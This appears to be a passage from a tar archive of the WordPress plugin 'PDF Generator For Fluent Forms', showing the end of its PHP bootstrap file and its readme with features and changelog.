]; $allPlugins = get_plugins(); if (isset($allPlugins['fluentform/fluentform.php'])) { $url = wp_nonce_url( self_admin_url('plugins.php?action=activate&plugin=fluentform/fluentform.php'), 'activate-plugin_fluentform/fluentform.php' ); $activation->action = 'activate'; } else { $api = (object) ['slug' => 'fluentform']; $url = wp_nonce_url( self_admin_url('update.php?action=install-plugin&plugin=' . $api->slug), 'install-plugin_' . $api->slug ); } $activation->url = $url; return $activation; } } add_action('plugins_loaded', function () { load_plugin_textdomain( 'fluentform-pdf', false, basename(dirname(__FILE__)) . 'assets/languages' ); (new FluentFormPdf())->boot(); }); register_activation_hook(__FILE__, function () { require_once FLUENTFORM_PDF_PATH . '/Classes/Controller/Activator.php'; \FluentFormPdf\Classes\Controller\Activator::activate(); }); register_deactivation_hook( __FILE__, function () { require_once FLUENTFORM_PDF_PATH . '/Classes/Controller/Activator.php'; \FluentFormPdf\Classes\Controller\Activator::deactivate(); }); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������readme.txt������������������������������������������������������������������������������������������0000644�����������������00000006262�14760002214�0006544 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������=== PDF Generator For Fluent Forms - The Contact Form Plugin === Contributors: techjewel,adreastrian,heera,wpmanageninja,hasanuzzamanshamim Tags: PDF, Form To PDF, attachment, fluent forms Requires at least: 5.0 Tested up to: 6.4.2 Requires PHP: 5.6 Stable tag: 1.1.8 License: GPLv2 or later License URI: https://www.gnu.org/licenses/gpl-2.0.html Generate PDF from Your Form Submissions and Download/Email Them == Description == **PDF Addon for Fluent Forms is the supplement you will need to automatically generate PDF files based on what users submit on the forms you created with Fluent Forms.** If you are looking forward to generate PDF files based on user submitted entries on your Fluent Forms plugin, this add-on is the perfect solution for you. With this add-on, you will be able to hand out to your users custom PDF files with your company logo engraved as a watermark, custom cover letter, dynamic personalised form entry summary or even payment invoices. The plugin comes with a customisable PDF template. Within a minute, you will be able to set up personalised PDF template with your company name, logo, entry date, dynamic personalisation, body text font family, size, color, PDF page orientation and the paper size. To automatically personalise the PDF files for every form entry, you can use shortcodes that will fetch the form input by themselves so that you don't have to sweat over it. You can also send these PDF files via emails to your users and make them password-protected with just a few clicks. = Feature = * Automated PDF generation based of form entries * Supports all languages including Right-to-left (RTL) languages such as Arabic and Hebrew * Customisable PDF template * Customisable font family, color, page orientation and dimensions, watermark texts and logos, page footer and more * Password-protected PDF files * Deliver the PDF files via automated email notifications * Conditional PDF generation that will be triggered when certain conditions are fulfilled * Automatically generate invoices in PDF format after a payment is successful * Upload and use any font you want in your PDF documents == Screenshots == 1. Generated PDF Preview 2. PDF Feed Settings 3. PDF Content Settings 4. PDF Templates 5. Global PDF Settings 6. Global PDF system status == Changelog == = 1.1.8 - January 18, 2024 = - Fixes input sanitization and output escaping = 1.1.7 - June 22, 2023 = - Fixes Repeater Field entries - Fixes Numeric Field formatter entries = 1.1.6 - October 19, 2022 = - Adds other language support = 1.1.5 - October 16, 2022 = - Fixes header image positioning - Improves invoice rendering = 1.1.4 - October 07, 2022 = - Improves Invoice template = 1.1.3 - May 19, 2022 = - Adds public PDF download option = 1.1.2 - February 24, 2022 = - Fixes PDF spacing issue = 1.1.2 - February 15, 2022 = - Adds line break support - Adds frontend PDF download shortcode after form submission for logged-in users - Adds conditional block support for Fluent Forms Pro = 1.1.0 - March 06, 2021 = * Compatibility with latest Fluent Forms Version * Added header for all the PDF pages * Dynamic PDF Name = 1.0.1 - July 08, 2020 = * Enable Multi-site compatibility = 1.0.0 = * Init Release == Upgrade Notice == ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������